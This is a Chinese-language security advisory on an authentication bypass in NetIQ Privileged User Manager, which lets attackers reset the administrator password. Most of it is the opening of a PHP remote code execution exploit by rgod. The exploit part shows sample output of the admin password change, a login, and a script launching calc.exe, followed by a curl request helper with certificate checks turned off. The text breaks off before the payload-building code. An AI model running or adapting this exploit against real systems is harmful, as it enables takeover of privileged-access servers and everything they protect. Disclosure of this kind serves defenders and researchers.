发布日期：2012-11-15
更新日期：2012-11-17
受影响系统：
netiq Privileged User Manager
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 56535
NetIQ Privileged User Manager是安全访问UNIX、Linux和Windows系统的解决方案。
NetIQ Privileged User Manager在实现上存在身份验证绕过漏洞，成功利用后可允许攻击者绕过安全限制并更改管理员密码。
<*来源：rgod （rgod@autistici.org）
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<?php
/*
Novell NetIQ Privileged User Manager 2.3.1 auth.dll pa_modify_accounts()
Remote Code Execution Exploit
Expected output:
C:\php>php 9sg_novell_netiq_i.php 192.168.0.1
[*] Attacking auth.dll ...
[*] Modifying admin password...
[*] Done. Proceeding to next steps.
[*] svc_name -> somename
[*] Logging in...
[*] Logged in: succeeded
[*] Identity Token -> AJzj8ExJzSvJLKlkyOd0LC3JCMnPTs1jKGbJS8xNZU1Myc3My+TIzEtMLsksS92h4MlWUlySmFvQ2rx3W34xd1Fqbn5JanxGfn
EJr6GlkZ6hmYUekDQwLOYsSE0tAkuwJeYlFKUmJrIE5eekAg0uAlKMWgwFfIhFDEAnB2em5yWWlBalMlQxF2emNzI4yb514E3S1Psv3PQj94Lq9jBuq84bVg
65m57viBBllf1m0C680ZrLr0zaOSn7RrbfG/vt4TuXWd1p/J7qFpqwVTRuZvl2kVWy21hj8yukZwhVhskfNzBYYsIh8M04ZJVuaPcB4x/7lX3Nj8ivnbBMJH
t37cPgB9EJ8058WvT2rGdJK3fJ7SqmzBSR6J8yTYat7DaiRw+8T2md+WGbW0gGAwM4Ap95pA==
[*] Setting up a rollover script which launches calc.exe
[*] Done. The following perl script will be launched in 5 seconds :
system("calc.exe");
C:\php>
rgod
*/
error_reporting(E_ALL ^ E_NOTICE);
set_time_limit(0);
$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";
if (php_sapi_name() <> "cli") {
die($err[0]);
}
function syntax() {
print("usage: php 9sg_novell_netiq_i.php [ip_address]\r\n" );
die();
}
$argv[1] ? print("[*] Attacking auth.dll ...\n") :
syntax();
if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
print("[*] curl loaded\n");
} else {
!dl("php_curl.so") ? die($err[1]) :
print("[*] curl loaded\n");
}
}
function _s($url, $is_post, $ck, $request) {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
}
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Cookie: ".$ck,
"Content-Type: application/x-amf", //do not touch this, important
"x-flash-version: 11,4,402,278"
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUSMSCOM)");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
//die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}